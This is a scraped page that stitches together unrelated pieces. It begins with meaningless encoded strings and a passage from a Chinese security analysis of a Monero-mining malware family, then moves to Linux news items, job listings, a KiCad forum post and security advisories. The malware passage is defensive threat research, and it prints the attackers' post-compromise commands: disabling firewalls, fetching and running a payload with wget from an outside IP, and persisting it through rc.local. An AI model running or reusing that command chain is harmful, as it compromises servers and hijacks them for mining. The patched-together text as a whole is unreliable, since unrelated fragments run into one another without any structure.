45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT

45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx

45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx

41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi

45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT

45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT

47xB4pdBngkhgTD1MdF9sidCa6QRXb4gv6qcGkV1TT4XD6LfZPo12CxeX8LCrqpVZm2eN3uAZ1zMQCcPnhWbLoPgNbK8y3Z

41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi

五、免杀分析

1、检测效果:

将挖矿样本在 VirusTotal 中检测发现,除了 Drweb 可以检出此样本,其余杀软均无法有效检测此样本。挖矿病毒5月出现,流行3月有余,VirusTotal 上依然只有1款杀软可以查杀。

下图是挖矿样本在 VirusTotal 中的检测结果:

门罗币挖矿新家族「罗生门」

2、免杀流程:

基本所有杀软都无法查杀此病毒,此病毒通过 Go 语言 Loader 和子体加变形 UPX 壳进行免杀,对于 Linux 查杀较为薄弱的杀软,很容易漏报。

免杀示意图:

门罗币挖矿新家族「罗生门」

Loader 使用 Go 语言编写,大量的 Go 语言的库代码掩盖了真正的病毒代码部分,所以免杀效果较好。2155个 Go 语言库函数,真正的病毒代码包含在4个函数中。

门罗币挖矿新家族「罗生门」

六、溯源分析

对这批挖矿样本进行溯源分析发现,从今年5月开始,发起攻击的 IP一共有两个:160.124.67.66123.249.34.103

另外,样本下载地址:181.215.242.240123.249.9.141 123.249.34.10358.221.72.157160.124.48.150

SSH 暴力破解成功后执行的命令有(suSEfirewall的关闭、iptables 的关闭、样本的下载):

/etc/init.d/iptables stop;

service iptables stop;

SuSEfirewall2 stop;

reSuSEfirewall2 stop;cd/tmp;

wget -chttp://181.215.242.240/armtyu;

chmod 777 armtyu;./armtyu;

echo “cd/tmp/”>>/etc/rc.local;

echo”./armtyu&”>>/etc/rc.local;echo “/etc/init.d/iptablesstop

IP 地址 服务器地址 对外开放服务 其他描述
181.215.242.240 美国 netbios ftp、垃圾邮件、僵尸网络
160.124.67.66 中国 香港 netbios mmhongcan168.com、28zuche.com、014o.com、ip28.net、扫描
160.124.48.150 中国 香港 netbios ip28.net、扫描
123.249.9.141 中国 贵州 僵尸网络

扫描 IP 和下载 IP  信息表)

表格中 160.124.67.66 是扫描 IP,通过对 IP 信息的图谱聚类,发现香港的两台主机均为一个团伙控制的机器。美国和贵州的机器是入侵得到的机器。

12.png

(团伙图聚类)

上面提到的扫描机器均为赌博网站的机器,曾经的域名mmhongcan168、28zuche 等都是赌博网站。

28zuche

门罗币挖矿新家族「罗生门」门罗币挖矿新家族「罗生门」

另一台香港机器的域名为 himitate.com,也是赌博网站。

门罗币挖矿新家族「罗生门」

两台香港主机均为 ip28.net,都可以作为门罗币(xmr)的挖矿代理主机。

黑产江湖之黑吃黑:

有人的地方就有江湖,黑产作为互联网中的法外之地,弱肉强食也是这个不法之地的规则。有做大产业的黑产大佬,也有干一票就走的小团伙,黑吃黑几乎天天都在上演。

赌博网站和色情网站是黑吃黑中常常被吃的对象,经研究分析可知,众多赌博网站所在的服务器竟被用来做扫描,各赌博网站之间并没发现强关联性,做赌博的团伙同时做挖矿的跨界运营也不是很多,而且整个挖矿金额不高。挖矿团伙若是入侵了赌博网站,利用其作为病毒服务器传播挖矿病毒,这也不是不可能。

对于美国和贵州的两台下载机,根据 threatbook 的情报,这两台主机应该是肉鸡,如下图:

门罗币挖矿新家族「罗生门」

第二个扫描地址为:123.249.34.103 

58.221.72.157 江苏 rat
123.249.34.103 贵州 scan
mdb7.cn 美国 bot

地理位置:

扫描地址 123.249.34.103的实际地址为中国贵州黔西南布依族苗族自治州,相关的情报如下:

门罗币挖矿新家族「罗生门」

相关网站解析过的地址为:

f6ae.com

www.f6ae.com

www.h88049.com

www.h88034.com

h88032.com

www.h88032.com

h88034.com

h88049.com

h5770.com

h88051.com

以上 URL 地址均为赌博网站:

门罗币挖矿新家族「罗生门」

其他的一些情报

云鼎实验室威胁情报团队在网络上也观测到这些 IP 的扫描行为,很多日志都有记录。可以发现这个挖矿样本的扫描传播是一种无针对的、广撒网式的暴力破解传播模式。

日志地址1:

ftp://egkw.com/Program%20Files/Apache%20Software%20Foundation/Tomcat%207.0/logs/localhost_access_log.2018-04-28.txt

19.png

日志地址2:

http://217.31.192.50/data/proki2018-05-13.txt

20.png

七、总结

通过观测发现扫描主机均属于赌博网站,赌博等黑产现在开始向挖矿业务进军了吗?。

防御方法:

(1)修改 SSH 口令,要定期更换 SSH 口令,并保证一定的复杂度。

(2)安装腾讯云云镜,提前发现可疑木马及暴力破解行为。

(3)对于外部SSH 连接的 IP 进行黑白名单限制。

相关样本 hash:

48f82a24cf1e99c65100c2761f65265c

723bd57431aa759d68cecb83fc8a7df8

a357b1b00e62cab7dc8953522f956009

470e7cdac0360ac93250f70a892a8d03

788eaec718569c69b21ff3daef723a8f

bf34509ae03b6f874f6f0bf332251470

580cb306c4e4b25723696cb0a3873db4

826f3e5ee3addfbf6feadfe5deadbe5e

dd68a5a3bf9fbb099c9c29e73dbab782

相关中间文件 sha256:

8797e998c01d2d6bb119beb2bbae3c2f84b6ae70c55edd108ed0e340972cf642

f8e1957e8bfd7f281a76d1e42694049c67f39dea90ac36e9d589c14cdf8924bc

f54b1e99039037f424e7e2ada7ae0740b6d1da229688a81e95fd6159f16fbbc1

ca60d04204aa3195e8cd72887c7deced1a7c664e538256f138b5698d381ceb00

e8b70f11c412a75ccfb48771029679db72c27bd61c41c72e65be5464415df95f

08fd38e2891942dadd936d71b7e98055ba48c58bc986d5c58f961055bcc378fc

08a31726ae65f630ce83b9a0a44108ff591809b14db5b7c0d0be2d0829211af5

1ac7ba4ba4b4a8c57b16cf4fac6ea29e41c0361c3260bf527278525b4bec5601

396a2174d2f09e8571e0f513a8082ccdd824e988b83393217274e64fe0dafd69

b238c09c3fdbda62df39039ed49d60d42d32312eedadfc2c6ced4d65d27b1ddb

99802523c466ea9273de893be5c12c7c654dfd4deb5a896b55718e69b721e548

786f4d124ef75e9f45d650fbd859d591a03ca71e2625f50d3078503f76edfd34

1dfb2cd3c94c624691534446ece255c49ed3ba02f45128c19e5a853dcf6f6ab8

472ba9ddbef409975284e4428071d5b8eb576f2b27ad19ca2fad7094aeebd281

1fa25061004ea01311b2d27feda124b4262b5611f91882c2d9895f0a53016051

58ad0006fe9fd093c7af6f0065a93209f21074d6694f0351f25ece1b78b7a978

fbb1396e37adcab88a0e21f9e0366c8da9a199652906fa194caccef8f70844c3

f8ccdcc45c6cbd4cc1c8f56a320106cfc9c42ad94b499d5ca6ec280b1077bf41

ffb9568a7b5da78389d20daba65e2e693e8c9828c874ad8771dcd5bb5c8a1e57

f5aed11216ee356a4896ad22f375e2b62b7ca22e83737f24ec0e5cdaa400b051

*本文作者 murphyzhang腾讯安全云鼎实验室),转载请注明来自 FreeBuf.COM。


          KDE Plasma 5.14 Released: What’s New In The Popular Linux Desktop      Cache   Translate Page      

Plasma is one of the most popular Linux desktop environments around; it’s loved by new open source enthusiasts and veterans alike. To bring a fresh and updated experience to the users, the KDE Project keeps bringing newer versions of the Plasma desktop from time to time. The latest Plasma release 5.14.0 has just been pushed and […]

The post KDE Plasma 5.14 Released: What’s New In The Popular Linux Desktop appeared first on Fossbytes.


          Comentário sobre Curso de Hacker por Paulo Tacio      Cache   Translate Page      
Sim, este e todos os cursos e pacotes estão disponíveis a pronta entrega. O Kurumin é apenas para mostrar uma distribuição Linux 100% brasileira, durante o curso as distribuições que serão mais utilizadas são Ubuntu e Kali Linux. Qualquer dúvida entre em contato conosco.
          Embedded Linux Software Engineer – Driver & Middleware - WITEKIO - Bellevue, WA      Cache   Translate Page      
We are present in the automotive, aerospace, smart cities, medical and mobility sectors, along with our partners such as Roche Medical, Texas Instruments,...
From Indeed - Fri, 21 Sep 2018 15:04:10 GMT - View all Bellevue, WA jobs
          Unreal Engine 4.21 Preview Brings Some Linux Improvements      Cache   Translate Page      
Phoronix: Unreal Engine 4.21 Preview Brings Some Linux Improvements Epic Games announced the debut today of the Unreal Engine 4.21 public...
          AMDGPU Developer Proposes Array Register Files For LLVM - Would Help Performance      Cache   Translate Page      
Phoronix: AMDGPU Developer Proposes Array Register Files For LLVM - Would Help Performance One of the areas within the open-source AMD Linux...
          Software Engineer - CACI - Reston, VA      Cache   Translate Page      
Experience using Unix like OS (Solaris, Linux, Unix, Irix, HPUX, SCO, etc..). CACI is seeking a Software Engineer in Reston, VA....
From CACI - Thu, 20 Sep 2018 10:41:54 GMT - View all Reston, VA jobs
          Nitrux OS 1.0.16: lanzada nueva versión de la distro      Cache   Translate Page      

Muy recientemente han comenzado a aparecer distribuciones GNU/Linux que están basadas en otras, como Ubuntu, pero que ofrecen una experiencia...

El artículo Nitrux OS 1.0.16: lanzada nueva versión de la distro ha sido originalmente publicado en Linux Adictos.


          Ya está disponible la nueva versión de NixOS 18.09      Cache   Translate Page      

NixOS es una distribución GNU/Linux, distribución moderna y flexible desarrollada de forma independiente destinada a mejorar la gestión del estado...

El artículo Ya está disponible la nueva versión de NixOS 18.09 ha sido originalmente publicado en Linux Adictos.


          KURSK: una aventura en primera persona sobre el incidente del submarino ruso      Cache   Translate Page      

KURSK (sitio oficial) es un videojuego que recrea una aventura en primera persona sobre la tragedia del submarino ruso con...

El artículo KURSK: una aventura en primera persona sobre el incidente del submarino ruso ha sido originalmente publicado en Linux Adictos.


          IT Support Specialist - Rambus - San Francisco, CA      Cache   Translate Page      
Business Unit Specific Support:. Collaboration Tool support (Skype for Business, Webex, etc). Deep knowledge of Unix/Linux internals administration,...
From Bank of Ireland - Wed, 19 Sep 2018 00:34:49 GMT - View all San Francisco, CA jobs
          Forum Post: RE: Linux/WL1831MOD: How to specify which power vector should be used for BLE      Cache   Translate Page      
Thanks Vihang
          Forum Post: RE: Linux/WL1835MOD: WL8 R8.7SP3 Wifi FW crash issue      Cache   Translate Page      
Rio, Are you able to attached log to the post unless it has something that cannot be shared in public forum ? Thanks Saurabh
          Unreal Engine 4.21 Preview Brings Some Linux Improvements      Cache   Translate Page      
Epic Games announced the debut today of the Unreal Engine 4.21 public preview...
          AMDGPU Developer Proposes Array Register Files For LLVM - Would Help Performance      Cache   Translate Page      
One of the areas within the open-source AMD Linux graphics driver stack that could benefit from some additional improvements/optimizations is the AMDGPU LLVM compiler back-end. One of the easy ways to see that the AMDGPU LLVM code could be improved upon are the Vulkan benchmarks when compared to AMD's proprietary compiler and there still being some significant wins with that more mature but closed-source shader compilation code. Fortunately, some improvements may be on the way...
          "Thermal Pressure" Kernel Feature Would Help Linux Performance When Running Hot      Cache   Translate Page      
Linaro engineer Thara Gopinath sent out an experimental set of kernel patches today that introduces the concept of "thermal pressure" to the Linux kernel for helping assist Linux performance when the processor cores are running hot...
          XCOM 2: War of the Chosen - Tactical Legacy Pack für PC veröffentlicht; zeitbegrenzt kostenlos      Cache   Translate Page      
Für XCOM 2: War of the Chosen auf PC, Mac und Linux ist das Tactical Legacy Pack als Download-Erweiterung erschienen (Downloadgröße: 4,8 GB). Das DLC-Paket wird allen Besitzern der PC-Fassung von XCOM 2 sowie XCOM 2: War of the Chosen bis zum 3. Dezember um 18:59 Uhr kostenlos zur Verfügung gestellt. Danach wird es 7,99 Euro kosten.

Das Tactical Legacy Pack erzählt die Geschichte der Ereignisse zwischen XCOM: Enemy Unknown und XCOM 2 und enthält neue Spielmodi, Karten, Waffen, Rüstungen und Fotokabinen-Optionen.

XCOM 2: War of the Chosen und das Tactical Legacy Pack werden bei Steam derzeit mit 40%-Rabatt angeboten (23,99 Euro).

Weiter zum Video

Folgende Features nennen die Hersteller:
  • "Neue Spielmodi
    • Legacy-Einsätze: Führe einen Trupp von Soldaten durch eine Reihe aufeinanderfolgender und miteinander verbundener taktischer Einsätze:
      • Centrals Archiv - Central Officer Bradford und weitere wichtige Mitglieder von XCOM rekapitulieren die entscheidenden Einsätze zwischen den Ereignissen von XCOM: Enemy Unknown und XCOM 2, die letztlich zum Aufkeimen des Widerstands geführt haben:
        • Spuren der Vergangenheit - Nach der Zerstörung des XCOM-Hauptquartiers beginnt Central Officer Bradford seinen Weg zum Aufbau des Widerstands, indem er dorthin zurückkehrt, wo alles angefangen hat.
        • Es kam aus dem Meer - Die Übertragungen eines aufstrebenden Radio-DJs wecken die Aufmerksamkeit eines unerwünschten Publikums. Nun liegt es an Central, den DJ vor den endlosen Horden hungriger Zuhörer zu bewahren.  
        • Avenger-Montage - Begleite Lily Shen, während sie die Avenger zur neuen Basis für die wachsenden Truppen einer wiedererstarkten XCOM umrüstet.
        • Das Lazarus-Projekt - ADVENT entführt wichtige Mitglieder des Widerstands und es liegt an Central, einige der berühmtesten Soldaten von XCOM zu retten.
      • Widerstandsarchiv - Bekämpfe die feindlichen Truppen in einer Reihe taktischer Einstätze mit steigender Schwierigkeit.
    • Scharmützelmodus - Erstelle und spiele deine eigenen benutzerdefinierten taktischen XCOM-Einsätze mit dem integrierten Editor, der die Anpassung zahlreicher Optionen (z. B. Karte, Truppzusammenstellungen, Ziele, Feinde und vieles mehr) ermöglicht.
  • Neue Karten: Stürz dich in Gefechte auf 28 neuen Karten, einschließlich neu aufgelegter Karten und Szenen aus XCOM: Enemy Unknown und XCOM: Enemy Within. Diese Karten kommen in den Einsätzen aus Centrals Archiv vor.
  • Neue Waffen und Rüstungen: Statte deine Soldaten mit neu interpretierten Versionen der konventionellen, Laser- und Plasmawaffen sowie der Kevlar-, Schalen- und Titanrüstungen aus XCOM: Enemy Unknown aus. Schließe Centrals Archiv ab, um diese neuen Ausrüstungsgegenstände auch für die reguläre Einzelspielerkampagne freizuschalten.
  • Neue Anpassungs- und Fotokabinen-Optionen: Individualisiere deine Soldaten mit neuen Einstellungen und Helmen. Erstelle neue Bilder in der Fotokabine mit zusätzlichen Hintergründen, Farben und Charakterposen.
  • Neue Soundtrack-Optionen: Über die neue Soundtrack-Auswahl kannst du entscheiden, ob du die Kampagne von XCOM 2: War of the Chosen mit dem ursprünglichen Soundtrack, dem Soundtrack von XCOM: Enemy Unknown oder einen brandneuen, von der Musik aus dem ursprünglichen UFO: Enemy Unknown inspirierten Soundtrack spielen möchtest.
  • Offline-Herausforderungsmodus: Spiele alle der über 100 Herausforderungen aus War of the Chosen so oft du willst."

Weiter zum Video


          Tribler for Linux 7.1.0      Cache   Translate Page      
A social community that facilitates filesharing through a peer-to-peer network
          When Linux Founder Linus Torvalds Leaves, Pandemonium Breaks Loose      Cache   Translate Page      
When Linux founder Linus Torvalds temporarily stepped down from the helm, there was suddenly trouble.
           Comentario en Antivirus gratuito BitDefender por 9O. Programas actualizados | Cajón desastres       Cache   Translate Page      
[…] BitDefender Free Antivirus 1.0.13.59. Un programa de seguridad antivirus gratuito para Windows, Linux y Mac. […]
          KiCad and Spice simulations      Cache   Translate Page      

Doh! Should have spotted that!

Thanks for that link. I did actually find that thread myself in the meantime so I will experiment with that info on my test virtual machine later.

UPDATE: I extracted the BC109 definition from standard.bjt and did some further testing. It seems that it is necessary to remove mfg=PHILIPS from the model. I also found mfg=OnSemi in the model for the 1N4148. I found I also had to remove type=silicon from this model. This got me past the line errors, but there are still plenty of
'unrecognized parameter (nk) - ignored and other similar messages present (vceo, vpk, iave, icrating to name a few ignored parameters). Maybe the ngspice-28 PSPICE compatibility will clean that up, but I presume since they are ignored it shouldn’t be an issue?

The other issue seems to be my subckt definitions of the RF choke:

Error on line 0 :
k.xl2.k1 l.xl2.l1 l.xl2.l2 l3 1
unknown parameter (l3)
Error on line 0 :
k.xl1.k1 l.xl1.l1 l.xl1.l2 l3 1
unknown parameter (l3)

This is my definition, which I based on other examples:

* Subcircuit for RF choke 90µOL
* CONNECTIONS:  PRIMARY 1
*               | PRIMARY2
*               | | PRIMARY3
*               | | | SECONDARY 1
*               | | | | SECONDARY 2
*               | | | | |
.SUBCKT	L90UOL	1 2 3 4 5
L1	1	2	68.66E6
L2	2	3	21.34E6
L3	4	5	6.85E6
K1	L1 L2 L3 1
.ENDS

I’m not sure whether the K1 statement should be there, but somehow the 3 coils need to be inductively coupled. I have two instances of this device on my schematic (L1 and L2), so in the context of the schematic ‘L3’ would indeed be invalid, but I thought that the statement would be evaluated in the context of the subckt.

Thanks for the pointer on including quotes.


          KiCad and Spice simulations      Cache   Translate Page      

This was listed in the ngspice error message.

Unfortunately I cannot help with the Linux installation, but see Ngspice-28 for KiCad, offered by mifi.

Mark the text with left mouse button, a button ‘quote’ appears, left click onto the button, marked text moves to your text input box.


          I need a full stack developer.      Cache   Translate Page      
i know how get for every stream actually URL of Licence server,more details will be shared via chat.Thanks (Budget: $10 - $30 AUD, Jobs: C Programming, Java, Javascript, Linux, Software Architecture)
          Senior Linux Administrator - Autodata Solutions - London, ON      Cache   Translate Page      
We thank all applicants for their interest however only those selected for an interview will be notified. Community Outreach - Toys for Tots, United Way, our...
From Autodata Solutions - Fri, 05 Oct 2018 19:26:09 GMT - View all London, ON jobs
          Linux System Administrator - Resolvit, LLC - Madison, WI      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Mon, 27 Aug 2018 23:22:32 GMT - View all Madison, WI jobs
          Linux Security Engineer - Resolvit, LLC - Richmond, VA      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. Join Resolvit as an Identity Management Engineer and...
From Resolvit, LLC - Sun, 30 Sep 2018 17:23:36 GMT - View all Richmond, VA jobs
          Linux Security Engineer - Resolvit, LLC - Virginia      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Sun, 30 Sep 2018 17:22:38 GMT - View all Virginia jobs
          Univerzális memória-kártya olvasó 1 Ft NMÁ!!!!!!!! - Jelenlegi ára: 1 Ft      Cache   Translate Page      
Univerzális USB 2. 0 Memória kártya-olvasó
480 Mb/s sebesség
Kompatibilis: USB 1. 1 és 2. 0
4 kártya foglalat
Támogatott kártya típusok: Micro MS/ M2/ SD/ MMC/ SDHC/DV/MS DUO/ MS PRO DUO/ Micro SD/T-Flash
Kompatibilis operációs rendszerek: Windows 7/VISTA/XP/2000/ME/98SE/98, Mac OS X 9. 0 és Linux 2. 4 vagy újabb verziói
Vékony kialakítás, kompakt méret
Plug & Play: behelyezés után egyből működik
Támogatott kártyaméret: max 32 Gb
Anyaga: műanyag
Méret: 66 x 21 x 16 mm
Súly: 14 g
Szín: véletlenszerű
A termékek külföldről érkeznek, emiatt a szállítási idő 15-30 munkanap, kérem mindenki ennek tudatában licitáljon!
Univerzális memória-kártya olvasó 1 Ft NMÁ!!!!!!!!
Jelenlegi ára: 1 Ft
Az aukció vége: 2018-10-10 22:59
          Spusťte si Android ve Windows, Linuxu či Macu      Cache   Translate Page      
Chtěli jste hrát Android hry na počítači? Máte to mít. A je jedno, zda pracujete ve Windows, Linuxu či v Macu. Stáhněte si nejlepší Android emulátory.
          CentOS: CESA-2018-2884: Critical CentOS 7 firefox       Cache   Translate Page      
LinuxSecurity.com: Upstream details at : https://access.redhat.com/errata/RHSA-2018:2884
          RedHat: RHSA-2018-2892:01 Moderate: glusterfs security, bug fix,      Cache   Translate Page      
LinuxSecurity.com: An update for glusterfs is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from
          Senior Linux Administrator - Autodata Solutions - London, ON      Cache   Translate Page      
As a multi flavor (Solaris, Redhat, Suse, CentOS) Unix/Linux subject matter expert, the position encompasses responsibilities for configuring, installing and...
From Autodata Solutions - Fri, 05 Oct 2018 19:26:09 GMT - View all London, ON jobs
          RedHat: RHSA-2018-2846:01 Important: kernel security and bug fix update      Cache   Translate Page      
LinuxSecurity.com: An update for kernel is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability
          RedHat: RHSA-2018-2898:01 Moderate: nss security update      Cache   Translate Page      
LinuxSecurity.com: An update for nss is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from
          ArchLinux: 201810-7: git: arbitrary code execution      Cache   Translate Page      
LinuxSecurity.com: The package git before version 2.19.1-1 is vulnerable to arbitrary code execution.
          Java production support      Cache   Translate Page      
CA-Sunnyvale, Java production Support Sunnyvale,CA 12 Months Contract Telephonic/Skype Interview Mandatory Technical Skills Good hands-on experience on Java Technologies Good hands-on experience with Cassandra and Oracle. Good Linux/Unix hand-on experience. Shell/Python Scripting is a plus. Desirable Technical Skills Hands-on experience with splunk. Decent networking knowledge and understanding Mandatory Functi
          Infastructure DevOps Engineer      Cache   Translate Page      
NC-Morrisville, You will help us improve OpenStack in a full-scale deployment. We are improving the state of the art internal cloud in OpenStack. We have 3 today and want to build more on top of that in additional to new features and functionality we are trying to add. Ideally: you know clouds; you breathe clouds; you hack clouds. You should have proven experience with Linux, Openstack, Ansible and Python, you sh
          Reddit: Would making open source software pretty and intuitive attract more users?      Cache   Translate Page      
submitted by /u/mabasic
[link] [comments]
          LXer: How To Install Oracle Java 11 In Ubuntu, Linux Mint Or Debian (From PPA Repository)      Cache   Translate Page      
Oracle Java 11, the first long term support release, can now be installed in Ubuntu, Linux Mint and Debian from the Linux Uprising Java PPA.
          Reddit: AiouLinux, a Distro for Arduino      Cache   Translate Page      
submitted by /u/nachoparker
[link] [comments]
          Reddit: I plugged in a webcam, and it just worked      Cache   Translate Page      

I had never used a webcam on Linux before and considering the amount of trouble I have with my wifi, I was expecting this to be a whole thing. No extra packages to install, no random kernel modules compiled from some person's Github repo, no tearing my hair out at 2 AM after X suddenly stopped launching. None of that, it just worked.

For those interested, it's a Logitech HD Pro Webcam C920 on Ubuntu 18.04.

submitted by /u/kennethjor
[link] [comments]
          Reddit: Good rolls ?      Cache   Translate Page      
submitted by /u/chrislantern
[link] [comments]
          LinuxToday: Deepin 15.7 Installation Guide for Laptop / Desktop with Screenshots      Cache   Translate Page      

LinuxBuzz: Deepin is a free and open-source Debian based linux distribution.


          LXer: Canonical Releases Important Ubuntu Kernel Live Patch to Fix L1TF, SpectreRSB      Cache   Translate Page      
Canonical released a new kernel live patch for all its supported Ubuntu Linux operating systems to address several critical security vulnerabilities discovered by various researchers lately.
          Senior Linux Administrator - Autodata Solutions - London, ON      Cache   Translate Page      
Vehicles, accessories, rentals, custom discounts for new hardware and software licenses. Founded in 1990, it is our mission to provide solutions that increase...
From Autodata Solutions - Fri, 05 Oct 2018 19:26:09 GMT - View all London, ON jobs
          Episode 74: Linux Action News 74      Cache   Translate Page      
Red Hat's Stratis project reaches a major milestone, Microsoft's Linux powered dev boards go up for sale, and Fedora's hunt for buggy hibernation under Linux has begun. Plus Android App mirroring, how the islands of the clouds are getting bridged, and Chris channels his inner Shuttleworth.
          AFRL ARTEMIS 5 - Tier III FSA - Linux & Cluster Management - SMS Data Products Group, Inc - California      Cache   Translate Page      
Overview SMS is a fast growing, veteran-owned business that's has supported Federal Government's IT initiatives for over four decades. We work side-by-side...
From SMS Data Products Group, Inc - Thu, 26 Jul 2018 10:57:25 GMT - View all California jobs
          AFRL ARTEMIS 5 - Tier II FSA - Linux and Cluster Management - SMS Data Products Group, Inc - California      Cache   Translate Page      
Overview SMS is a fast growing, veteran-owned business that's has supported Federal Government's IT initiatives for over four decades. We work side-by-side...
From SMS Data Products Group, Inc - Thu, 26 Jul 2018 10:57:25 GMT - View all California jobs
          How To Install Oracle Java 11 In Ubuntu, Linux Mint Or Debian (From PPA Repository)      Cache   Translate Page      
Oracle Java 11, the first long term support release, can now be installed in Ubuntu, Linux Mint and Debian from the Linux Uprising Java PPA.
          Comment on After failing to disclose user data leaks, Google is shutting down Google+ and improving APIs by 1DaveN      Cache   Translate Page      
The problem is this: our firm does business with many clients and other firms. All use Office. If we switch, we run into compatibility issues with all the customers and other firms. Our industry-specific time and accounting app runs only on Windows, and would cost tens of thousands of dollars to replace. Our users are trained in Windows and Office, and all of them are unfamiliar with Linux and productivity suites other than Office. So while an individual can choose to seek out, obtain, and learn any software they want, businesses are constrained from doing so by practical considerations, support needs, etc.
          Canonical Releases Important Ubuntu Kernel Live Patch to Fix L1TF, SpectreRSB      Cache   Translate Page      
Canonical released a new kernel live patch for all its supported Ubuntu Linux operating systems to address several critical security vulnerabilities discovered by various researchers lately.
          12 Useful Linux Commands for New User      Cache   Translate Page      
Using the command line on a Linux PC allows you to have more control of your system. Here are 12 useful Linux commands you should know as a Linux user.
          ExTiX 18.10 Is the First Linux Distro Based on Ubuntu 18.10 (Cosmic Cuttlefish)      Cache   Translate Page      
GNU/Linux and Open Source software developer Arne Exton announced over the weekend the release of what it would appear to be the first Linux distro based on the upcoming Ubuntu 18.10 (Cosmic Cuttlefish) operating system.
          Install & Manage Flatpak Applications On Standard User Accounts      Cache   Translate Page      
Flatpak is the new way to install and run applications on Linux. Unlike distribution maintained applications, flatpak is a great way to deploy Linux applications without worrying about "which" Linux distro specifically.
          Gentoo-Based Calculate Linux 18 Released with Linux Kernel 4.18, Faster Boot      Cache   Translate Page      
Alexander Tratsevskiy announced the release of Calculate Linux 18, a major version of his Gentoo-based operating system targeting the Russian Linux community.
          AFRL ARTEMIS 5 - Tier III FSA - Linux & Cluster Management - SMS Data Products Group, Inc - California      Cache   Translate Page      
Overview SMS is a fast growing, veteran-owned business that's has supported Federal Government's IT initiatives for over four decades. We work side-by-side...
From SMS Data Products Group, Inc - Thu, 26 Jul 2018 10:57:25 GMT - View all California jobs
          AFRL ARTEMIS 5 - Tier II FSA - Linux and Cluster Management - SMS Data Products Group, Inc - California      Cache   Translate Page      
Overview SMS is a fast growing, veteran-owned business that's has supported Federal Government's IT initiatives for over four decades. We work side-by-side...
From SMS Data Products Group, Inc - Thu, 26 Jul 2018 10:57:25 GMT - View all California jobs
          Comment déverrouiller automatiquement Seahorse dans LinuxMint?      Cache   Translate Page      
Qu’est-ce que Seahorse? Seahorse est le nom du programme dans Ubuntu et LinuxMint qui gère et conserve tous les mots de passes que vous sauvegardez sur votre ordinateur. C’est l’équivalent du « Trousseau d’accès » ou « Keychain » en anglais sur Mac OS X. Sous LinuxMint, il se nomme « Mots de passe et clés » dans le menu principal. […]
          Comment déverrouiller à distance via SSH, un volume « root » « / » encrypté LUKS dans LinuxMint?      Cache   Translate Page      
Si votre volume « root » « / » est encrypté avec LUKS, vous êtes invité à chaque démarrage de votre ordinateur à entrer le mot de passe afin de le déverouiller. Ce qui est très embêttant de cette mesure de sécurité, est que vous devez être physiquement sur les lieux avec votre clavier pour entrer votre mot de […]
          Comment déverouiller automatiquement un volume encrypté LUKS au démarrage de LinuxMint?      Cache   Translate Page      
Dans un article précédent, je vous ai parlé sur comment faire en sorte qu’un volume LUKS soit monté automatiquement lors du lancement de LinuxMint. Ceci vous permettait d’avoir le mot de passe demandé lors du lancement de LinuxMint, plutôt qu’une fois le système d’exploitation tout initialisé. L’article présent, vous montrera comment créer un fichier clef, […]
          PostgreSQL Database Administrator - Upgrade - Montreal, WI      Cache   Translate Page      
Solid Linux fundamentals including kernel and OS tuning, as they relate to DB performance and security. Upgrade is a consumer credit platform that is changing...
From Upgrade - Wed, 22 Aug 2018 22:02:31 GMT - View all Montreal, WI jobs
          IT Support Specialist - Rambus - San Francisco, CA      Cache   Translate Page      
Business Unit Specific Support:. Collaboration Tool support (Skype for Business, Webex, etc). Deep knowledge of Unix/Linux internals administration,...
From Bank of Ireland - Wed, 19 Sep 2018 00:34:49 GMT - View all San Francisco, CA jobs
          Comment on Epic Games acquires Kamu, an anti-cheat and game security company, after partnering up on Fortnite by ☠ - PhilUSB - ☠™      Cache   Translate Page      
will this make linux support !?
          Canon PIXMA TS9520 drivers download      Cache   Translate Page      

Canon PIXMA TS9520 drivers download Windows 10/10 x64/8.1/8.1 x64/8/8 x64/7/7 x64/Vista/Vista64/XP/Server Mac OS X 10.13/10.12/10.11/10.10/10.9/10.8/10.7/10.6/10.5 and linux – Canon PIXMA TS9520 Review : New release for printer Next Generation of home Office and Scanner support wifi and airPrint way up to 11″x17″! It can also print beautiful photos and even has a built-in SD Memory Card card ...

The post Canon PIXMA TS9520 drivers download appeared first on Support Drivers.


          Salt Use Cases for Cumulus Linux      Cache   Translate Page      

[…]

The post Salt Use Cases for Cumulus Linux appeared first on Cumulus Networks engineering blog.


          Redis Labs and the "Common Clause"       Cache   Translate Page      

So, the short version is that with the recent licensing changes to several Redis Labs modules making them no longer free and open source, GNU/Linux distributions, such as Debian and Fedora, are no longer able to ship Redis Labs' versions of the affected modules to their users.

